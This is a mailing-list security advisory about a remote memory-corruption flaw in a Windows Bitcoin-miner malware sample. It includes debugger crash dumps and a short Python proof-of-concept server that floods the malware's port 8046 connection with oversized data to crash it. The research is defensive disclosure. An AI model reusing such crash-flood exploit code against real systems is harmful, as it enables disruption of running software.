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Date: Sat, 2 Jan 2021 17:52:22 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] HEUR.RISKTOOL.WIN32.BITMINER.GEN / Remote Memory Corruption

Discovery / credits: malvuln - Malvuln.com (c) 2021
Original source:
http://malvuln.com/advisory/b85ae73dbbfff1d3b90cb7c78356f2a3.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: HEUR.RISKTOOL.WIN32.BITMINER.GEN
Vulnerability: Remote Memory Corruption
Description: Null pointer write access violation on server response to
an HTTP request to TCP port 8046. The program also connects to port 80
and respawns upon crashing.


Type: PE32
MD5: b85ae73dbbfff1d3b90cb7c78356f2a3
Vuln ID: MVID-2021-0009
Dropped files: SQLAGENTSI.exe, AutoRunApp.vbs, VBS.vbs
ASLR: False
Safe SEH: True
Disclosure: 01/02/2021

Memory Dump:
0:012> .ecxr
eax=0e4e3beb ebx=05d8b4c0 ecx=74d07084 edx=04370850 esi=05db2b00 edi=05d8b028
eip=05d8b4c2 esp=05c3ff0c ebp=05c3ff3c iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
05d8b4c2 0000            add     byte ptr [eax],al          ds:002b:0e4e3beb=??

ExceptionAddress: 05d8b4c2
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 0e4e3beb
Attempt to write to address 0e4e3beb

0:012> !address 0e4e3beb
Usage:                  Free
Base Address:           0a860000
End Address:            5a2c0000
Region Size:            4fa60000
Type:                   00000000	
State:                  00010000	MEM_FREE
Protect:                00000001	PAGE_NOACCESS


The specimen has also thrown exploitable Guard page violation. A page
of memory that marks the end of a data structure, such as a stack or
an array, has been accessed.

ExceptionAddress: 2a8dd862
   ExceptionCode: 80000001 (Guard page violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 33036b23

0:012> .ecxr
eax=33036b23 ebx=2a8dd860 ecx=74d07084 edx=044c0850 esi=2a921548 edi=2a8ddf60
eip=2a8dd862 esp=05c0ff0c ebp=05c0ff3c iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
2a8dd862 0000            add     byte ptr [eax],al          ds:002b:33036b23=??


Exploit/PoC:
import socket

port=8046
payload="A"*256
max_flood=666
c=0

def doit():
    global c,payload,port
    s = socket.socket()
    try:
        host = ''
        s.bind((host, port))
        s.listen(5)

        print('HEUR.RiskTool.Win32.BitMiner.gen / Remote Memory Corruption')
        print('MD5: b85ae73dbbfff1d3b90cb7c78356f2a3')
        print("By malvuln")

        while c < max_flood:
            c+=1
            conn, addr = s.accept()
            conn.send(payload+'\r\n')
            conn.close()
            if c==max_flood:
                break
    except Exception as e:
        pass


if __name__=="__main__":
    doit()


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or
otherwise. Permission is hereby granted for the redistribution of this
advisory, provided that it is not altered except by reformatting it,
and that due credit is given. Permission is explicitly given for
insertion in vulnerability databases and similar, provided that due
credit is given to the author. The author is not responsible for any
misuse of the information contained herein and accepts no
responsibility for any damage caused by the use or misuse of this
information. The author prohibits any malicious use of security
related information or exploits by the author or elsewhere. Do not
attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occuring from improper
Malware handling or the downloading of ANY Malware mentioned on this
website or elsewhere. All content Copyright (c) Malvuln.com (TM).

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